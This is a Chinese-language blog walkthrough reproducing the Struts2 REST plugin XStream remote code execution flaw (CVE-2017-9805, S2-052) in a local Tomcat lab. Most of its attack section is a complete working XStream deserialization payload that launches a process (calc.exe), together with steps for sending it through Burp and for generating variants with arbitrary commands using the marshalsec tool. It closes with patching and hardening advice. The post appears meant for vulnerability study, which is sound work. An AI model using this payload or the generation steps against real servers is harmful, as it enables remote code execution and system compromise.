• Struts2 REST 插件 XStream 远程代码执行漏洞 S2-052 复现过程


     

    Struts2 REST 插件 XStream 远程代码执行漏洞 S2-052 复现过程

     

    参考文档:

     

     S2-052POC测试,高危Struts REST插件远程代码执行漏洞(S2-052

      http://blog.csdn.net/xwbk12/article/details/77862527?locationNum=3&fps=1

     i春秋的报告

      https://bbs.ichunqiu.com/thread-26789-1-1.html?from=beef

     

     

    漏洞介绍:

        漏洞编号:CVE-2017-9805(S2-052)

        影响版本:Struts 2.5 - Struts 2.5.12

        漏洞概述:问题出现在struts2-rest-plugin插件XStreamHandler处理器中的toObject()方法,其中未对传入的值进行任何限制,在使用XStream反序列化转换成对象时,导致任意代码执行漏洞。

     

     

    使用环境:

    win7 64位虚拟机

     

     

    具体步骤:

    一、解决Tomcat部署war

     

    这篇文章写的就可以

    http://blog.csdn.net/inter_peng/article/details/42833587

     

    但是我的环境出现了环境变量的问题

    the catalina_home environment variable is not defined correctly

     

    解决方法如下:

          1JAVA_HOME中的路径不能使用分号结尾,如

                 E:Javajdk1.6.0_10;

              这样写就会出现提示CATALINA_HOME或是JAVA_HOME没有配置好的错误,,还有就是JAVA_HOME的路径一定不要写成了JRE的路径

          2CATALINA_BASECATALINA_HOMETOMCAT_HOME中的路径不能以""结尾,如

                 E:Javaapache-tomcat-6.0.29

    这样写就会出现java.util.logging.ErrorManager的错误,屏幕一闪而过

         正确的写法:

               JAVA_HOME            E:Javajdk1.6.0_10

               CATALINA_BASE      E:Javaapache-tomcat-6.0.29

               CATALINA_HOME     E:Javaapache-tomcat-6.0.29

               TOMCAT_HOME       E:Javaapache-tomcat-6.0.29

          注意这里路径的标点符号,不能写多了,也不能写少了

     

    二、从struts2的官网下载最后受影响的版本struts-2.5.12

    地址:http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip

    注意下载struts-2.5.12-apps即可,不用下载all的。

    拿到struts-2.5.12-apps之后,将其中的app目录下的struts2-rest-showcase.war文件放到webapps目录下。

     

    这个设置是默认的,一般不用修改,可以查看一下。

    /Library/Tomcat-8.5.15/webapps然后设置一下conf/server.xml文件即可。

    这里把appBase设置为webapps目录,然后unpackWARs设置为true,这样就会自动解包xxx.warautoDeploy也设置为true

    然后就可以浏览器访问了。

     

     

    三、漏洞利用过程

     

    直接输入

    http://127.0.0.1:8080/struts2-rest-showcase/

    会跳转,然后出现下面的页面,点击其中一个编辑,

    然后将请求发送到burp(我由于在FireFox上有代理插件,于是换到FireFox上了)点击”Edit”按钮,然后拦截提交请求。

    将请求中的Content-Type的值改为application/xml,然后POST的数据用PoC中的xml内容代替。

     

    构建POST数据如下:

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

    <map>
      <entry>
        <jdk.nashorn.internal.objects.NativeString>
          <flags>0</flags>
          <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
            <dataHandler>
              <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                <is class="javax.crypto.CipherInputStream">
                  <cipher class="javax.crypto.NullCipher">
                    <initialized>false</initialized>
                    <opmode>0</opmode>
                    <serviceIterator class="javax.imageio.spi.FilterIterator">
                      <iter class="javax.imageio.spi.FilterIterator">
                        <iter class="java.util.Collections$EmptyIterator"/>
                        <next class="java.lang.ProcessBuilder">
                          <command>
                            <string>calc.exe</string>
                          </command>
                          <redirectErrorStream>false</redirectErrorStream>
                        </next>
                      </iter>
                      <filter class="javax.imageio.ImageIO$ContainsFilter">
                        <method>
                          <class>java.lang.ProcessBuilder</class>
                          <name>start</name>
                          <parameter-types/>
                        </method>
                        <name>foo</name>
                      </filter>
                      <next class="string">foo</next>
                    </serviceIterator>
                    <lock/>
                  </cipher>
                  <input class="java.lang.ProcessBuilder$NullInputStream"/>
                  <ibuffer></ibuffer>
                  <done>false</done>
                  <ostart>0</ostart>
                  <ofinish>0</ofinish>
                  <closed>false</closed>
                </is>
                <consumed>false</consumed>
              </dataSource>
              <transferFlavors/>
            </dataHandler>
            <dataLen>0</dataLen>
          </value>
        </jdk.nashorn.internal.objects.NativeString>
        <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
      </entry>
      <entry>
        <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
        <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
      </entry>
    </map>

     

     

    四、漏洞利用成功

     

    生成payload的方法:

    I春秋的网页里有这个但是做的不太细致,我弄的细致一点。

     

    下载struts2利用payload

      https://github.com/mbechler/marshalsec

    下载后解压

      http://maven.apache.org/download.cgi

    下载后解压,使用之前最好先将mavenbin目录设置到path环境变量里面。

    切换到marshalsec目录下,执行

    mvn clean package -DskipTests

    如图执行成功,生成marshalsec-0.0.1-SNAPSHOT-all.jar

    这是marshalsec的官方文档,利用XStreamImageIO

    java -cpmarshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO calc > 1.txt

    生成利用代码,红色框是修改命令的地方

     

     

     

     

     

    加固建议:

     

        升级Apache struts 2.5.13版本

        在不使用时删除StrutsREST插件,或仅限于服务器普通页面和JSONs

    <constantname="struts.action.extension"value="xhtml,,json" />

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

  • 相关阅读:
    我想操作的是利用SqlDataAdapter的几个Command属性(InsertCommand,UpdateCommand,DeleteCommand)来更新数据库
    有两个数据库A和B,数据库A中有表a,如何把表a映射到数据库B中,sql 2005
    代码生成器
    IWorkSpace接口介绍
    空间数据库介绍
    IGeoFeatureLayer
    IFeatureLayer
    Python ML环境搭建与学习资料推荐
    Python ML环境搭建与学习资料推荐
    TypeError: Can not convert a float32 into a Tensor or Operation.
  • 原文地址:https://www.cnblogs.com/zhaijiahui/p/7495199.html
Copyright © 2020-2023  润新知